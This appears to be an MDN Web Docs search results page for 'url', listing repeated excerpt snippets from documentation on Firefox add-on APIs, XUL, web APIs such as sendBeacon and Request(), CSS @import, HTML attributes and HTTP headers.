...emits a propertychange event, enabling its users to take the appropriate action. the loader is used by modules that use content scripts but don't themselves load content, such as page-mod. modules that load their own content, such as panel and page-worker, use the symbiont module instead. ...
...but don't themselves load content, such as page-mod. modules that load their own content, such as panel and page-worker, use the symbiont module instead. symbiont inherits from loader but contains its own frame into which it loads content supplied as the content
url option. ...
...And 5 more matches
ui/button/action - Archive of obsolete content
me type id string the button's id. this is used internally to keep track of this button. the id must be unique within your add-on. label string the button's human-readable label. when the button is in the toolbar, this appears in a tooltip, and when the button is in the menu, it appears underneath the button as a legend. ...
...e unique within your add-on. label string the button's human-readable label. when the button is in the toolbar, this appears in a tooltip, and when the button is in the menu, it appears underneath the button as a legend. icon
url, string, object one or more icons for the button. you can specify this in one of three ways: as a resource://
url pointing at an icon file in your add-on's "data" directory, typically constructed using self.data.
url(iconfile) as a relative path: a string in the form "./iconfile", where "iconfile" is a relative path to the icon file beginning in your add-on's "data" directory as an object, or dictionary of key-value pairs. here you can specify a range of sizes for your button's icon. each key-value ...
...elf.data.
url(iconfile) as a relative path: a string in the form "./iconfile", where "iconfile" is a relative path to the icon file beginning in your add-on's "data" directory as an object, or dictionary of key-value pairs. here you can specify a range of sizes for your button's icon. each key-value pair specifies an icon: each value specifies an image file as a resource://
url or relative path. each key must be a numeric string such as "16", or "32", which represents the size in pixels of the corresponding image. ...
...And 5 more matches
cfx - Archive of obsolete content
directory. --binary-args=cmdargs pass extra arguments to the binary being executed (for example, firefox). for example, to pass the -jsconsole argument to firefox, which will launch the javascript error console, try the following: cfx run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-
url "www.mozilla.org" -jsconsole' --extra-packages=extra_packages extra packages to include, specified as a comma-separated list of package names. -g config, --use-config=config pass a set of options by referencing a named configuration. -p profiledir, --profiledir=profiledir use an existing profile located in profiledir. profiledir may be specified as a f...
... directory. --binary-args=cmdargs pass extra arguments to the binary being executed (for example, firefox). for example, to pass the -jsconsole argument to firefox, which will launch the javascript error console, try the following: cfx run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-
url "www.mozilla.org" -jsconsole' --dependencies load and run any tests that are included with modules that your package depends on. for example: if your add-on depends on modules from the sdk, then cfx will run the unit tests for the sdk's modules as well as yours. -f filename[:testname], --filter=filename[:testname] only run tests whose filenames match filename and o...
...ults to test-harness. cfx xpi this tool is used to package your add-on as an xpi file, which is the install file format for mozilla add-ons. called with no options, this command looks for a file called package.json in the current directory and creates the corresponding xpi file. once you have built an xpi file you can distribute your add-on by submitting it to addons.mozilla.org. ...
...And 5 more matches
Creating annotations - Archive of obsolete content
in the dom tree, has an attribute named "id". the idea here is to make it more likely that the annotator will be able to identify annotated elements correctly later on. if the page element is eligible for annotation, then the selector highlights that element and binds a click handler to it. the click handler sends a message called show back to the main add-on code. the show message contains: the
url for the page, the id attribute value, and the text content of the page element. $('*').mouseenter(function() { if (!active || $(this).hasclass('annotated')) { return; } resetmatchedelement(); ancestor = $(this).closest("[id]"); matchedelement = $(this).first(); originalbgcolor = $(matchedelement).css('background-color'); $(matchedelement).css('background-color', 'yellow'); $(...
...delement(); }); save this code in a new file called selector.js in your add-on's data directory. because this code uses jquery, you'll need to download that as well, and save it in data. ...
...lector.js in your add-on's data directory. because this code uses jquery, you'll need to download that as well, and save it in data. updating main.js go back to main.js and add the code to create the selector into the main function: var selector = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.
url('jquery-1.4.2.min.js'), data.
url('selector.js')], onattach: function(worker) { worker.postmessage(annotatorison); selectors.push(worker); worker.port.on('show', function(data) { console.log(data); }); worker.on('detach', function () { detachworker(this, selectors); }); } }); make sure the name you use to load jquery matches the name of the jquery version you downloaded. the page-mod matc...
...And 5 more matches
Intercepting Page Loads - Archive of obsolete content
t document: while (doc.defaultview.frameelement) { doc = doc.defaultview.frameelement.ownerdocument; } } } } the second if validation is necessary if you need to make a distinction for html documents being loaded in inner page frames. few modern sites use framesets, but it is common for ads to appear inside iframe elements. in most cases you'll need to compare the page
url with some string or regular expression: if (some_regular_expression.test(doc.defaultview.location.href)) you can access and modify the dom of the loaded page, just like you normally would for xul and html documents. you can't, however, easily cancel the page load. you can close the tab, redirect the tab to about:blank or another page, or tell the browser to stop loading this page, but in gene...
... http-on-examine-response called after a response has been received from the webserver. headers are available on the channel. the subject argument on the observe method is the nsihttpchannel object that corresponds to the http channel being opened or already opened, depending on the topic. observe : function(asubject, atopic, adata) { if (topic_modify_request == atopic) { let
url; asubject.queryinterface(components.interfaces.nsihttpchannel);
url = asubject.uri.spec; if (re_
url_to_modify.test(
url)) { // re_
url_to_modify is a regular expression. asubject.setrequestheader("referer", "http://example.com", false); } else if (re_
url_to_cancel.test(
url)) { // re_
url_to_cancel is a regular expression. asubject.cancel(components.results.ns_binding_ab...
...you can also use these in conjunction with nsitraceablechannel to get and modify the response text before it gets to the original requester. ...
...And 5 more matches
Java in Firefox Extensions - Archive of obsolete content
e at http://brett-zamir.me/java_demo/ ] for privileges, the basic procedure is: download and include http://simile.mit.edu/repository/jav...nsionutils.jar within your extension (you can also build your own from the source files at http://simile.mit.edu/repository/jav...xtensionutils/ ) build and add references leading to this jar and all other jars in your extension within an array of java.net.
url's, pass to java.net.
urlclassloader to get a class loader, and finally pass the classloader and array to a function which gives the necessary privileges: // this function will be called to give the necessary privileges to your jar files // however, the policy never comes into play, because // (1) adding permissions doesn't add to the policy itself, and // (2) add
url alone does not set the ...
...a class loader, and finally pass the classloader and array to a function which gives the necessary privileges: // this function will be called to give the necessary privileges to your jar files // however, the policy never comes into play, because // (1) adding permissions doesn't add to the policy itself, and // (2) add
url alone does not set the grant codebase function policyadd (loader,
urls) { try { //if have trouble with the policy try changing it to //edu.mit.simile.javafirefoxextensionutils.
urlsetpolicy var str = 'edu.mit.simile.javafirefoxextensionutils.
urlsetpolicy'; var policyclass = java.lang.class.forname( str, true, loader ); var policy = policyclass.newinstance(); ...
...(this works in firefox 3.x, for firefox 4.x use addonmanager.getaddonbyid) var extensionpath = components.classes["@mozilla.org/extensions/manager;1"]. getservice(components.interfaces.nsiextensionmanager). ...
...And 5 more matches
Using Remote XUL - Archive of obsolete content
however, there is a whitelist that lets you specify sites that can still use remote xul. ...
... which the xul file is served: addtype application/vnd.mozilla.xul+xml .xul then restart your web server. with php you can send the mime-type with the header() function. <?php header('content-type: application/vnd.mozilla.xul+xml'); ?> <!-- xul markup starts here --> note that you don't need a web server for this tutorial; you can load the document you create on your computer via a "file"
url or the "open file" function of your browser. step 1: a basic xul document the first thing we need to do is create a basic xul document. <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" /> a xul document requires only two entities to be valid, an xml processing instruction on the first line that identifies the file as xml, and a window eleme...
...ay pages from the mozilla.org web site. for that we'll use a xul iframe element. <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <iframe src="https://www.mozilla.org/" flex="1" /> </window> the xul iframe element is just like its html counterpart: it defines an area within which web content can be displayed. its src attribute contains the
url of the page being displayed in the iframe. we set this value to the mozilla.org home page by default so that page loads into the iframe when we first load the xul document. the iframe's flex attribute tells the browser to stretch the iframe to fill the space available to it. without it, the iframe's size would be a fixed default and wouldn't change when the user resized their window. [optionall...
...And 5 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
or providing metadata. 26 bandwidth glossary, infrastructure bandwidth is the measure of how much information can pass through a data connection in a given amount of time. it is usually measured in multiples of bits-per-second (bps), for example megabits-per-second (mbps) or gigabits-per-second (gbps). 27 base64 advanced, base64, javascript, typed arrays, uri,
url, unicode problem, atob(), btoa() base64 is a group of similar binary-to-text encoding schemes that represent binary data in an ascii string format by translating it into a radix-64 representation. the term base64 originates from a specific mime content transfer encoding. 28 baseline css, glossary, svg, alignment, typography the baseline is a term used in european and we...
...ocument directives are used in a content-security-policy header and govern the properties of a document or worker environment to which a policy applies. 118 domain browser, domain, glossary, infrastructure, networking a domain is an authority within the internet that controls its own resources. its "domain name" is a way to address this authority as part of the hierarchy in a
url - usually the most memorable part of it, for instance a brand name. 119 domain name domain name, glossary, protocol, webmechanics a domain name is a website's address on the internet. domain names are used in
urls to identify to which server belong a specific webpage. the domain name consists of a hierarchial sequence of names (labels) separated by periods (dots) and ending w...
...t built-in functionality. for example, in javascript the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression — for example making a true statement return false. 305 origin glossary, security, webmechanics, origin web content's origin is defined by the scheme (protocol), host (domain), and port of the
url used to access it. two objects have the same origin only when the scheme, host, and port all match. 306 p2p glossary, infrastructure, networking, p2p p2p (peer-to-peer) is a computer networking architecture in which all participating nodes (peers) have equal privileges and share the workload. p2p differs from a client-server network architecture, where multiple client nodes c...
...And 5 more matches
Web fonts - Learn web development
specify font files to be downloaded along with your website as it is accessed, meaning that any browser that supports web fonts can have exactly the fonts you specify available to it. amazing! the syntax required looks something like this: first of all, you have a @font-face block at the start of the css, which specifies the font file(s) to download: @font-face { font-family: "myfont"; src:
url("myfont.woff"); } below this you can then use the font family name specified inside @font-face to apply your custom font to anything you like, as normal: html { font-family: "myfont", "bitstream vera serif", serif; } the syntax does get a bit more complex than this; we'll go into more detail below. there are two important things to bear in mind about web fonts: browsers support different...
...mplement these fonts in your demo, follow these steps: rename the unzipped directory to something easy and simple, like fonts. open up the stylesheet.css file and copy both the @font-face blocks contained inside into your web-font-start.css file — you need to put them at the very top, before any of your css, as the fonts need to be imported before you can use them on your site. each of the
url() functions points to a font file that we want to import into our css — we need to make sure the paths to the files are correct, so add fonts/ to the start of each path (adjust as necessary). now you can use these fonts in your font stacks, just like any web safe or default system font. for example: font-family: 'zantrokeregular', serif; you should end up with a demo page with some nice ...
...your css as appropriate, to apply the custom fonts to your html. note: you can find a completed version at google-font.html and google-font.css, if you need to check your work against ours (see it live). @font-face in more detail let's explore that @font-face syntax generated for you by fontsquirrel. ...
...And 5 more matches
Server-side web frameworks - Learn web development
frameworks. don't be concerned if it doesn't all make sense now; we'll be working you through the code in our framework-specific modules. overview server-side web frameworks (a.k.a. "web application frameworks") are software frameworks that make it easier to write, maintain and scale web applications. they provide tools and libraries that simplify common web development tasks, including routing
urls to appropriate handlers, interacting with databases, supporting sessions and user authorization, formatting output (e.g. html, json, xml), and improving security against web attacks. the next section provides a bit more detail about how web frameworks can ease web application development. we then explain some of the criteria you can use for choosing a web framework, and then list some of your o...
...ase a string). # django view function from django.http import httpresponse def index(request): # get an httprequest (request) # perform operations using information from the request. # return httpresponse return httpresponse('output string to return') route requests to the appropriate handler most sites will provide a number of different resources, accessible through distinct
urls. handling these all in one function would be hard to maintain, so web frameworks provide simple mechanisms to map
url patterns to specific handler functions. this approach also has benefits in terms of maintenance, because you can change the
url used to deliver a particular feature without having to change the underlying code. different frameworks use different mechanisms for the mapping. for e...
...s of maintenance, because you can change the
url used to deliver a particular feature without having to change the underlying code. different frameworks use different mechanisms for the mapping. for example, the flask (python) web framework adds routes to view functions using a decorator. @app.route("/") def hello(): return "hello world!" while django expects developers to define a list of
url mappings between a
url pattern and a view function.
urlpatterns = [
url(r'^$', views.index), # example: /best/myteamname/5/
url(r'^best/(?p<team_name>\w.+?)/(?p<team_number>[0-9]+)/$', views.best), ] make it easy to access data in the request data can be encoded in an http request in a number of ways. an http get request to get files or data from the server may encode what data is...
...And 5 more matches
Application cache implementation overview
ing a top level document from offline cache this happens in nshttpchannel::opencacheentry(). all top level document loading (navigation) channels are set chooseapplicationcache flag, which happens in nsdocshell::douriload(). channels having that flag set are searching for nsiapplicationcache object prior inspecting normal http cache. nsiapplicationcacheservice::chooseapplicationcache is given the
url the channel is about to load. it synchronously returns an nsiapplicationcache object representing the most recent cache version from the most recent cache group containing the entry under the
url or a matching namespace. if no nsiapplicationcache object has been found, there is no offline cache to load from and the load continues a usual way by loading from normal http cache, further steps are no...
...then, nsicacheservice is asked to open nsicachesession with store_offline policy and the given client id. entry is queried using that session. nshttpchannel::onofflinecacheentryavailable is then invoked. when aentrystatus is a success code, entry has been found and we are loading it from the cache. ...
...pen nsicachesession with store_offline policy and the given client id. entry is queried using that session. nshttpchannel::onofflinecacheentryavailable is then invoked. when aentrystatus is a success code, entry has been found and we are loading it from the cache. loadedfromapplicationcache flag is now set true on the channel. when aentrystatus is a failure code, entry has not been found, but the
url is falling under one of the network or fallback namespaces. when matching fallback namespace, the associated fallback entry for it is remembered. the load then continues from the network as a usual load, using http cache. when load of the resource fails fallback steps are performed (see “falling back on a resource load failure” chapter). associating the top level document with offline cache t...
...And 5 more matches
sslfnc.html
sl_cipherpolicyset. ssl configuration functions ssl configuration involves several nspr functions in addition to the ssl functions listed here. for a complete list of configuration functions, see configuration. ssl configuration callback configuration ssl configuration ssl_importfd ssl_optionset ssl_optionget ssl_cipherprefset ssl_cipherprefget ssl_configsecureserver ssl_set
url ssl_setpkcs11pinarg ssl_importfd imports an existing nspr file descriptor into ssl and returns a new ssl socket. syntax #include "ssl.h" prfiledesc *ssl_importfd( prfiledesc *model, prfiledesc *fd); parameters this function has the following parameters: model a pointer to the model file descriptor. fd a pointer ...
...for a long time, you should call this function periodically (once a day, for example) to generate a new step-down key. ssl makes and keeps internal copies (or increments the reference counts, as appropriate) of certificate and key structures. the application should destroy its copies when it has no further use for them by calling cert_destroycertificate and seckey_destroyprivatekey. ssl_set
url sets the domain name of the intended server in the client's ssl socket. syntax #include "ssl.h" int ssl_set
url( prfiledesc *fd, char *
url); parameters this function has the following parameters: fd a pointer to a file descriptor.
url a pointer to a string specifying the desired server's domain name. ...
... pr_geterror to obtain the error code. description the client application's certificate authentication callback function needs to compare the domain name in the server's certificate against the domain name of the server the client was attempting to contact. this step is vital because it is the client'sonly protection against a man-in-the-middle attack. the client application uses ssl_set
url to set the domain name of the desired server before performing the first ssl handshake. the client application's certificate authentication callback function gets this string by calling ssl_reveal
url. ssl_setpkcs11pinarg sets the argument passed to the password callback function specified by a call to pk11_setpasswordfunc. syntax #include "ssl.h" int ssl_setpkcs11pinarg(prfiledesc ...
...And 5 more matches
mozIAsyncFavicons
6.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) nsifaviconservice handles this interface, so you do not need to directly create a new service. simply queryinterface() the nsifaviconservice to this interface. as an alternative, you can just use placesutils.favicons from javascript. ...
... acallback once we have found the ...
...not...
...And 5 more matches
Plug-in Basics - Plugins
range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins. with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using
urls post data to
urls add hyperlinks or hotspots that link to new
urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page. go to the help menu, and click help and then about plug-ins. type "about:plugins" in the lo...
...element and other elements used for plug-in display, see w3c html 4.01 specification. to embed a variety of object types in an html page, use the object element. <object classid="classfile" data="datalocation" codebase="classfiledir" type="mimetype" align="alignment" height="pixheight" width="pixwidth" id="name" > ... ...
...ts used for plug-in display, see w3c html 4.01 specification. to embed a variety of object types in an html page, use the object element. <object classid="classfile" data="datalocation" codebase="classfiledir" type="mimetype" align="alignment" height="pixheight" width="pixwidth" id="name" > ... </object> the first set of object element attributes are
urls. ...
...And 5 more matches
Debugger.Source - Firefox Developer Tools
cified in the webassembly standard. currently, the text is an s-expression based syntax. the text generation is disabled if the debugger has the allowwasmbinarysource property set, the "[wasm]" value will be returned in this case. binary if the instance refers to webassembly code and the debugger has the allowwasmbinarysource property set, a uint8array that contains the webassembly bytecode.
url if the instance refers to javascript source, the filename or
url from which this script’s code was loaded. for scripts created by eval or the function constructor, this may be a synthesized filename, starting with a valid
url and followed by information tracking how the code was introduced into the system; the entire string is not a valid
url. for function.prototype’s script, this is null.
... javascript source, the filename or
url from which this script’s code was loaded. for scripts created by eval or the function constructor, this may be a synthesized filename, starting with a valid
url and followed by information tracking how the code was introduced into the system; the entire string is not a valid
url. for function.prototype’s script, this is null. source may be loaded from a
url in the following ways: the
url may appear as the src attribute of a <script> element in markup text. the
url may be passed to the worker web worker constructor, or the web worker importscripts function. the
url may be the name of a xpcom javascript module or subscript. (note that code passed to eval, the function constructor, or a similar function isnot considere...
...: the
url may appear as the src attribute of a <script> element in markup text. the
url may be passed to the worker web worker constructor, or the web worker importscripts function. the
url may be the name of a xpcom javascript module or subscript. (note that code passed to eval, the function constructor, or a similar function isnot considered to be loaded from a
url; the
url accessor on debugger.source instances for such sources should return undefined.) if the instance refers to webassembly code, the
url of the script that called new webassembly.module with the string "> wasm" appended. ...
...And 5 more matches
Using the Beacon API - Web APIs
con requests use http post and do not require a response. beacon requests are guaranteed to be initiated before the page unloads. this document contains examples of the beacon interfaces. see beacon api for an overview. navigator.sendbeacon() the beacon api's navigator.sendbeacon() method sends a beacon request to the server in the global browsing context. the method takes two arguments: the
url and the data to send. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns true and returns false otherwise. the following example specifies a handler for the load and beforeunload events. the handler calls sendbeacon() with the current
url. window.onload = window.onun...
...aybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns true and returns false otherwise. the following example specifies a handler for the load and beforeunload events. the handler calls sendbeacon() with the current
url. ...
... handler for the load and beforeunload events. the handler calls sendbeacon() with the current
url. window.onload = window.onunload = function analytics(event) { if (!navigator.sendbeacon) return; var
url = "https://example.com/analytics"; // create the data to send var data = "state=" + event.type + "&location=" + location.href; // send the beacon var status = navigator.sendbeacon(
url, data); // log the data and result console.log("sendbeacon:
url = ",
url, "; data = ", data, "; status = ", status); }; the following example creates a submit handler and when that event is fired, the handler calls sendbeacon(). window.onsubmit = function send_analytics() { var data = json.stringify({ location: location.href, time: date() }); navigator.sendbeacon('/analytic...
...And 5 more matches
History.pushState() - Web APIs
whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. the state object can be anything that can be serialized. ...
...tate(), the method will throw an exception. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. ...
...tion. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving.
url optional the new history entry's
url is given by this parameter. ...
...And 5 more matches
Request() - Web APIs
a request object, effectively creating a copy. note the following behavioural updates to retain security while making the constructor less likely to throw exceptions: if this object exists on another origin to the constructor call, the request.referrer is stripped out. ...
... containing any custom settings that you want to apply to the request. the possible options are: method: the request method, e.g., get, post. the default is get. headers: any headers you want to add to your request, contained within a headers object or an object literal with bytestring values. body: any body that you want to add to your request: this can be a blob, buffersource, formdata,
urlsearchparams, usvstring, or readablestream object. note that a request using the get or head method cannot have a body. mode: the mode you want to use for the request, e.g., cors, no-cors, same-origin, or navigate. the default is cors. credentials: the request credentials you want to use for the request: omit, same-origin, or include. the default is same-origin. cache: the cache mode you wan...
..., cors, no-cors, same-origin, or navigate. the default is cors. credentials: the request credentials you want to use for the request: omit, same-origin, or include. the default is same-origin. cache: the cache mode you want to use for the request. redirect: the redirect mode to use: follow, error, or manual. the default is follow. referrer: a usvstring specifying no-referrer, client, or a
url. the default is about:client. integrity: contains the subresource integrity value of the request (e.g., sha256-bpfbw7ivv8q2jlit13fxdyae2tjllusrsz273h2nfse=). errors type description typeerror since firefox 43, request() will throw a typeerror if the
url has credentials, such as http://user:password@example.com. example in our fetch request example (see...
...And 5 more matches
WorkerLocation - Web APIs
n of the script executed by the worker. such an object is initialized for each worker and is available via the workerglobalscope.location property obtained by calling self.location. this interface is only visible from inside a javascript script executed in the context of a web worker. ...
... worker. such an object is initialized for each worker and is available via the workerglobalscope.location property obtained by calling self.location. this interface is only visible from inside a javascript script executed in the context of a web worker. properties the workerlocation interface doesn't inherit any property, but implements properties defined in the
urlutilsreadonly interface. ...
....location property obtained by calling self.location. this interface is only visible from inside a javascript script executed in the context of a web worker. properties the workerlocation interface doesn't inherit any property, but implements properties defined in the
urlutilsreadonly interface.
urlutilsreadonly.href read only is a stringifier that returns a domstring containing the whole
url of the script executed in the worker. ...
...And 5 more matches
Sending and Receiving Binary Data - Web APIs
binary file as a blob by setting the string "blob" to the responsetype property. var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ... ...
...nsetype property. var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ... }; oreq.send(); receiving binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified
url, returning it to the caller. ...
...open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ... }; oreq.send(); receiving binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified
url, returning it to the caller. function load_binary_resource(
url) { var req = new xmlhttprequest(); req.open('get',
url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] req.overridemimetype('text\/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; return req.responsetext; } the magic happens in line 5, which overrides the mime type, forcing the browser to treat it as plain text, using a user-defined character set. this tells the browse...
...And 5 more matches
@import - CSS: Cascading Style Sheets
the @import css at-rule is used to import style rules from other style sheets. syntax @import
url; @import
url list-of-media-queries; @import
url supports( supports-query ); @import
url supports( supports-query ) list-of-media-queries; where:
url is a <string> or a <
url> representing the location of the resource to import. the
url may be absolute or relative. note that the
url for a mozilla package need not actually specify a file; it can just specify the package name and part, and the appropriate file is chosen automatically (e.g. chrome://communicator/skin/). see here for more information. list-of-media-queries is a comma-separated list of media queries conditioning the application of the css rules defined in the linked
url. if the browser does not support any these queries, it d...
...laration>. description imported rules must precede all other types of rules, except @charset rules; as it is not a nested statement, @import cannot be used inside conditional group at-rules. so that user agents can avoid retrieving resources for unsupported media types, authors may specify media-dependent @import rules. these conditional imports specify comma-separated media queries after the
url. ...
... inside conditional group at-rules. so that user agents can avoid retrieving resources for unsupported media types, authors may specify media-dependent @import rules. these conditional imports specify comma-separated media queries after the
url. in the absence of any media query, the import is unconditional. specifying all for the medium has the same effect. ...
...And 5 more matches
HTML attribute reference - HTML: Hypertext Markup Language
r controls in this form can by default have their values automatically completed by the browser. autofocus <button>, <input>, <keygen>, <select>, <textarea> the element should be automatically focused after the page loaded. autoplay <audio>, <video> the audio or video should play as soon as possible. background <body>, <table>, <td>, <th> specifies the
url of an image file. note: although browsers and email clients may still support this attribute, it is obsolete. use css background-image instead. bgcolor <body>, <col>, <colgroup>, <marquee>, <table>, <tbody>, <tfoot>, <td>, <th>, <tr> background color of the element. note: this is a legacy attribute. please use the css background-color property instead. ...
...er encoding of the page or script. checked <command>, <input> indicates whether the element should be checked on page load. cite <blockquote>, <del>, <ins>, <q> contains a uri which points to the source of the quote or change. class global attribute often used with css to style elements with common properties. code <applet> specifies the
url of the applet's class file to be loaded and executed. codebase <applet> this attribute gives the absolute or relative
url of the directory where applets' .class files referenced by the code attribute are stored. color <basefont>, <font>, <hr> this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format. ...
...ols to the user. coords <area> a set of values specifying the coordinates of the hot-spot region. crossorigin <audio>, <img>, <link>, <script>, <video> how the element handles cross-origin requests csp <iframe> specifies the content security policy that an embedded document must agree to enforce upon itself. data <object> specifies the
url of the resource. data-* global attribute lets you attach custom attributes to an html element. datetime <del>, <ins>, <time> indicates the date and time associated with the element. decoding <img> indicates the preferred method to decode the image. default <track> indicates that the track should be enabled unless the user's preferences i...
...And 5 more matches
HTML documentation index - HTML: Hypertext Markup Language
prop attribute, global attribute, html, html microdata, microdata, reference the itemprop global attribute is used to add properties to an item. every html element can have an itemprop attribute specified, and an itemprop consists of a name-value pair. each name-value pair is called a property, and a group of one or more properties forms an item. property values are either a string or a
url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>. 23 itemref attribute, global attribute, html, html microdata, microdata, reference properties that are not descendants of an element with the itemscope attribute can be associated with an item using the global attribute itemr...
...nce itemscope is a boolean global attribute that defines the scope of associated metadata. specifying the itemscope attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element. 25 itemtype attribute, global attribute, html, html microdata, microdata, reference the global attribute itemtype specifies the
url of the vocabulary that will be used to define itemprop's (item properties) in the data structure. 26 lang global attributes, html, reference the lang global attribute helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user. the attribute contains a single “l...
... tags. 55 <a>: the anchor element content, element, html, html text-level semantics, html:flow content, html:interactive content, html:palpable content, html:phrasing content, inline element, reference, web the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a
url can address. 56 <abbr>: the abbreviation element acronym, definitions, element, html, html text-level semantics, html:flow content, html:palpable content, html:phrasing content, reference, web, abbr, abbreviation, semantics the html abbreviation element (<abbr>) represents an abbreviation or acronym; the optional title attribute can provide an expansion or description for the...
...And 5 more matches
Index - HTTP
cording to the users' own preferred language. 25 content-length http, headers, reference the content-length entity header indicates the size of the entity-body, in bytes, sent to the recipient. 26 content-location http, reference, header the content-location header indicates an alternate location for the returned data. the principal use is to indicate the
url of a resource transmitted as the result of content negotiation. 27 content-range http, http header, reference, response header, header the content-range response http header indicates where in a full body message a partial message belongs. 28 content-security-policy csp, http, reference, security, header the http content-security-policy response header al...
... administrators to control resources the user agent is allowed to load for a given page. with a few exceptions, policies mostly involve specifying server origins and script endpoints. this helps guard against cross-site scripting attacks (xss). 29 csp: base-uri csp, directive, document directive, http, security the http content-security-policy base-uri directive restricts the
urls which can be used in a document's <base> element. if this value is absent, then any uri is allowed. if this directive is absent, the user agent will use the value in the <base> element. 30 csp: block-all-mixed-content csp, directive, http, mixed content, reference, security the http content-security-policy (csp) block-all-mixed-content directive prevents loading any assets u...
...y (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. for workers, non-compliant requests are treated as fatal network errors by the user agent. 32 csp: connect-src csp, directive, http, reference, security the http content-security-policy (csp) connect-src directive restricts the
urls which can be loaded using script interfaces. the apis that are restricted are: 33 csp: default-src csp, directive, http, reference, security the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives. for each of the following directives that are absent, the user agent will look for the default-src directive and will ...
...And 5 more matches
Destructuring assignment - JavaScript
sion match when the regular expression exec() method finds a match, it returns an array containing first the entire matched portion of the string and then the portions of the string that matched each parenthesized group in the regular expression. destructuring assignment allows you to unpack the parts out of this array easily, ignoring the full match if it is not needed. ...
...regular expression exec() method finds a match, it returns an array containing first the entire matched portion of the string and then the portions of the string that matched each parenthesized group in the regular expression. destructuring assignment allows you to unpack the parts out of this array easily, ignoring the full match if it is not needed. ...
... match, it returns an array containing first the entire matched portion of the string and then the portions of the string that matched each parenthesized group in the regular expression. destructuring assignment allows you to unpack the parts out of this array easily, ignoring the full match if it is not needed. ...
...And 5 more matches
import.meta - JavaScript
the import.meta object exposes context-specific metadata to a javascript module. it contains information about the module, like the module's
url. syntax import.meta description the syntax consists of the keyword import, a dot, and the identifier meta. normally the left-hand side of the dot is the object on which property access is performed, but here import is not really an object. the import.meta object is created by the ecmascript implementation, with a null prototype. the object is extensible, and its properties are writable, configurable, and enumerable. ...
... import.meta object is created by the ecmascript implementation, with a null prototype. the object is extensible, and its properties are writable, configurable, and enumerable. examples using import.meta given a module my-module.js <script type="module" src="my-module.js"></script> you can access meta information about the module using the import.meta object. console.log(import.meta); // {
url: "file:///home/user/my-module.js" } it returns an object with a
url property indicating the base
url of the module. this will either be the
url from which the script was obtained, for external scripts, or the document base
url of the containing document, for inline scripts. note that this will include query parameters and/or hash (i.e., following the ? or #). for example, with the following ht...
...or #). ...
...And 5 more matches
<a> - SVG: Scalable Vector Graphics
the <a> svg element creates a hyperlink to other web pages, files, locations in the same page, email addresses, or any other
url. it is very similar to html’s <a> element. svg's <a> element is a container, which means you can create a link around text (like in html) but also around any shape. ...
... the <a> svg element creates a hyperlink to other web pages, files, locations in the same page, email addresses, or any other
url. it is very similar to html’s <a> element. svg's <a> element is a container, which means you can create a link around text (like in html) but also around any shape. ...
... see warning below */ svg|a:link, svg|a:visited { cursor: pointer; } svg|a text, text svg|a { fill: blue; /* even for text, svg uses fill over color */ text-decoration: underline; } svg|a:hover, svg|a:active { outline: dotted 1px blue; } since this element shares its tag name with h...
...And 5 more matches
Cross-domain Content Scripts - Archive of obsolete content
scripts included in html files shipped with your add-on. cross-domain iframes the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content script called "page.js" to the page, waits for messages from the script, and logs the payload. ...
...cluded in html files shipped with your add-on. cross-domain iframes the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content script called "page.js" to the page, waits for messages from the script, and logs the payload. ...
...n. cross-domain iframes the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content script called "page.js" to the page, waits for messages from the script, and logs the payload. ...
...And 4 more matches
places/favicon - Archive of obsolete content
helper functions for working with favicons. globals functions getfavicon(object, callback) takes an object that represents a page's
url and returns a promise that resolves with the favicon
url for that page. the object can be a
url string or a tab. the platform service (moziasyncfavicons) retrieves favicon data stored from previously visited sites, and as such, will only return favicon
urls for visited sites. ...
...rl and returns a promise that resolves with the favicon
url for that page. the object can be a
